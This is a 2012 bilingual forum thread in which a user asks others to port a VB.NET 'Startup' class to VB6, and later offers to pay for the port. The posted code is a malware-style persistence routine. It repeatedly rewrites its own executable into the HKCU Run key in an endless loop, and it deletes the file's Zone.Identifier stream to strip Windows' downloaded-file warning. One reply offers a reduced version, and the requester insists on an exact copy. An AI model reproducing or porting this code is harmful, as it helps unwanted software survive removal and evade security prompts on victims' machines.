Port VB.NET code to VB6

Iniciado por Swellow, 14 Octubre 2012, 18:43 PM

0 Miembros y 1 Visitante están viendo este tema.

Swellow

Hola amigos! Does anyone can help me porting this VB.NET code to VB6? That would be really appreciated :)

Imports Microsoft.Win32
Imports System.Runtime.InteropServices

'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.

Public Class Startup

    Private Value As String

    Private Delegate Sub C()
    Private Delegate Sub V()
    Private Delegate Sub W()
    Private Delegate Sub L()
    Private Delegate Sub CL()
    Private Delegate Sub DZ()

    Dim T As New Threading.Thread(AddressOf Persistence)

    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    Public Sub New()
  Dim DZone As New DZ(AddressOf DeleteZone)
  Try : DZone.Invoke() : Catch : End Try
  T.Start()
    End Sub

    Private Sub Persistence(ByVal RegValue As String)

  Value = RegValue

  Dim CK As C = New C(AddressOf CreateKey)
  Dim SV As V = New V(AddressOf SetValue)
  Dim WA As W = New W(AddressOf Wait)
  Dim CLO As CL = New CL(AddressOf Close)
  Dim LO As L = New L(AddressOf Looper)

  CK.Invoke()
  WA.Invoke()
  SV.Invoke()
  WA.Invoke()
  CLO.Invoke()
  LO.Invoke()

    End Sub
    Private Sub Wait()
  Dim R As New Random
  Threading.Thread.Sleep(R.Next(100, 300))
    End Sub
    Private Sub Looper()
  Persistence(Value)
    End Sub
    Private Sub CreateKey()
  If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
  Close()
    End Sub
    Private Sub SetValue()
  If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
    End Sub
    Private Sub Close()
  RegKey.Close()
    End Sub
    Private Sub DeleteZone()
  If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub
    Private ReadOnly Property RegKey As RegistryKey
  Get
    Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    Return Startup
  End Get
    End Property
    Private ReadOnly Property RegValue As String
  Get
    Dim Value As String = RegKey.GetValue(AppName)
    Return Value
  End Get
    End Property
    Private ReadOnly Property BoolCheck As Boolean
  Get
    If RegValue <> AppName Then
    Return True
    End If
    Return False
  End Get
    End Property
    Private ReadOnly Property AppName As String
  Get
    Return Application.ExecutablePath.ToString()
  End Get
    End Property
End Class


Thanks in Advance!

x64core

Nadie va a hacer esto para tí, Deberían de bannear a este usuario y que aprenda a hacer sus propias mierd*s!

Elemental Code


I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

Swellow

I can pay the guy who will port this to VB6 but if I pay, you don't share the code public. This is a Startup Method.

Elemental Code

i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código (vbnet) [Seleccionar]
        Dim DZone As New DZ(AddressOf DeleteZone)
        Try : DZone.Invoke() : Catch : End Try

    Private Sub DeleteZone()
        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub


So i wont include this :S

Sendme a PM if interested ;)

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

Swellow

Cita de: Elemental Code en 15 Octubre 2012, 14:39 PM
i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código (vbnet) [Seleccionar]
        Dim DZone As New DZ(AddressOf DeleteZone)
        Try : DZone.Invoke() : Catch : End Try

    Private Sub DeleteZone()
        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub


So i wont include this :S

Sendme a PM if interested ;)

This startup method is a special one, I'll need you to make the exact same module in VB6, it must do exactly the same thing.<